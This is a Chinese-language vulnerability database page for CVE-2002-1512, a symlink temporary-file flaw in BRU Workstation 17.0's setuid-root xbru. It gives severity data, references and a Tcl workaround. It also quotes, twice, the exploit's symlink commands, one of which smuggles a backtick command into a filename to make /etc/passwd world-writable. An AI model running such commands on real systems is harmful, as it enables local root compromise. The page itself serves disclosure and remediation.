CVE-2002-1512
CVSS6.2
发布时间 :2003-04-02 00:00:00
修订时间 :2008-09-05 16:30:47
NMCOES    

[原文]xbru in BRU Workstation 17.0 allows local users to overwrite arbitrary files and gain root privileges via a symlink attack on the xbru_dscheck.dd temporary file.


[CNNVD]BRU XBRU以不安全方式建立临时文件漏洞(CNNVD-200304-028)

        
        BRU是一款Tolis Group公司开发和维护的备份和恢复工具,可使用在Linux系操作系统下。
        BRU在建立临时文件时不安全,本地攻击者可以利用这个漏洞进行符号链接攻击。
        BRU以suid root属性安装,当执行时会以root用户权限建立临时文件/tmp/xbru_dscheck.dd,BRU建立这个临时文件时没有检查文件是否存在,可导致本地攻击者通过符号链接攻击方式破坏系统任意文件,包括属主为root用户的文件。
        

- CVSS (基础分值)

CVSS分值: 6.2 [中等(MEDIUM)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: HIGH [漏洞利用存在特定的访问条件]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1512
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-1512
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200304-028
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/5708
(VENDOR_ADVISORY)  BID  5708
http://www.iss.net/security_center/static/10101.php
(VENDOR_ADVISORY)  XF  bru-xbru-race-condition(10101)
http://archives.neohapsis.com/archives/bugtraq/2002-09/0154.html
(VENDOR_ADVISORY)  BUGTRAQ  20020912 Race condition in BRU Workstation 17.0

- 漏洞信息

BRU XBRU以不安全方式建立临时文件漏洞
中危 访问验证错误
2003-04-02 00:00:00 2005-10-20 00:00:00
本地  
        
        BRU是一款Tolis Group公司开发和维护的备份和恢复工具,可使用在Linux系操作系统下。
        BRU在建立临时文件时不安全,本地攻击者可以利用这个漏洞进行符号链接攻击。
        BRU以suid root属性安装,当执行时会以root用户权限建立临时文件/tmp/xbru_dscheck.dd,BRU建立这个临时文件时没有检查文件是否存在,可导致本地攻击者通过符号链接攻击方式破坏系统任意文件,包括属主为root用户的文件。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 把如下代码放到xbru使用的Tcl脚本中:
        # brufix-tmpdir.tcl
        # Tcl code to make a safe temporary directory for BRU Tcl/Tk scripts
        # Peter Watkins, 2002 - sample code, no guarantees
        #
        proc brufixSetTmpdir {} {
         # make the safe temp dir & store its name in a global var
         # or exit if errors; respect $TMPDIR if set
         global env
         global brufixTmpdir
         set brufixBaseTmpdir {/tmp}
         catch {set brufixBaseTmpdir $env(TMPDIR)}
         if {([file isdirectory $brufixBaseTmpdir] == 0) || ([file exists $brufixBaseTmpdir] == 0)} {
         puts stderr "temporary directory $brufixBaseTmpdir does not exist!"
         exit 1
         }
         set brufixTmpdir "$brufixBaseTmpdir/bru-[clock clicks]"
         if {[catch {file mkdir $brufixTmpdir}] != 0} {
         puts stderr "error creating temporary directory $brufixTmpdir !"
         exit 1
         }
         if {[catch {exec /bin/chmod 0700 $brufixTmpdir}] != 0} {
         puts stderr "error setting perms on temporary directory $brufixTmpdir !"
         exit 1
         }
        }
        proc brufixGetTmpdir {} {
         # return the safe temp directory name
         global brufixTmpdir
         if {([info exists brufixTmpdir] == 0) || ([string length $brufixTmpdir] == 0)} {
         puts stderr "need to call brufixSetTmpdir before brufixGetTmpdir!"
         exit 2
         }
         if {([file isdirectory $brufixTmpdir] == 0) || ([file exists $brufixTmpdir] == 0)} {
         puts stderr "BRU temporary directory $brufixTmpdir does not exist!"
         exit 3
         }
         return $brufixTmpdir
        }
        # early in the execution: make sure we have a good directory
        # this should only be called once!
        brufixSetTmpdir
        * 使用"[brufixGetTmpdir]"(没有引号)代替"/tmp"字符串。
        厂商补丁:
        Tolis Group
        -----------
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://www.tolisgroup.com/main.html

- 漏洞信息 (21793)

BRU 17.0 XBRU Insecure Temporary File Vulnerability (EDBID:21793)
linux local
2002-09-13 Verified
0 prophecy
N/A [点击下载]
source: http://www.securityfocus.com/bid/5708/info

BRU is a backup and restore utility distributed by The Tolis Group. This problem affects the utility on the Linux platform.

xbru does not properly check for the existence of temporary files prior to execution. Because of this, it is possible for a local user to create symbolic links to other files, which will be overwritten by the BRU user. As BRU is typically run by the root user, this could result in the overwriting of root-owned files. 

ln -s /tmp/clobber /tmp/xbru_dscheck.dd

ln -s /etc/log.d/scripts/logfiles/xferlog/'`cd etc;chmod 666 passwd #`' /tmp/xbru_dscheck.dd 		

- 漏洞信息

11784
BRU Workstation xbru Symlink Arbitrary File Overwrite
Local Access Required Race Condition

- 漏洞描述

Unknown or Incomplete

- 时间线

2002-09-12 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

BRU XBRU Insecure Temporary File Vulnerability
Access Validation Error 5708
No Yes
2002-09-13 12:00:00 2009-07-11 05:06:00
Vulnerability discovery credited to <prophecy@prophecy.net.nz>.

- 受影响的程序版本

Tolis Group BRU 17.0 Linux
- Caldera OpenLinux Server 3.1
- Caldera OpenLinux Server 3.1
- Caldera OpenLinux Workstation 3.1
- Caldera OpenLinux Workstation 3.1
- Debian Linux 2.2 IA-32
- Debian Linux 2.2 IA-32
- Mandriva Linux Mandrake 8.1 ia64
- Mandriva Linux Mandrake 8.1
- Mandriva Linux Mandrake 8.1
- Mandriva Linux Mandrake 8.0
- Mandriva Linux Mandrake 8.0
- RedHat Linux 7.2 ia64
- RedHat Linux 7.2 ia64
- RedHat Linux 7.2 i386
- RedHat Linux 7.2 i386
- RedHat Linux 7.1 ia64
- RedHat Linux 7.1 ia64
- RedHat Linux 7.1 i386
- RedHat Linux 7.1 i386
- RedHat Linux 7.0 i386
- RedHat Linux 7.0 i386
- S.u.S.E. Linux 7.3 i386
- S.u.S.E. Linux 7.3 i386
- S.u.S.E. Linux 7.2 i386
- S.u.S.E. Linux 7.2 i386
- S.u.S.E. Linux 7.1 x86
- S.u.S.E. Linux 7.1 x86

- 漏洞讨论

BRU is a backup and restore utility distributed by The Tolis Group. This problem affects the utility on the Linux platform.

xbru does not properly check for the existence of temporary files prior to execution. Because of this, it is possible for a local user to create symbolic links to other files, which will be overwritten by the BRU user. As BRU is typically run by the root user, this could result in the overwriting of root-owned files.

- 漏洞利用

Exploit contributed by &lt;prophecy@prophecy.net.nz&gt;:

ln -s /tmp/clobber /tmp/xbru_dscheck.dd

ln -s /etc/log.d/scripts/logfiles/xferlog/'`cd etc;chmod 666 passwd #`' /tmp/xbru_dscheck.dd

- 解决方案

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com <mailto:vuldb@securityfocus.com>.

- 相关参考

     

     

    关于SCAP中文社区

    SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

    版权声明

    CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站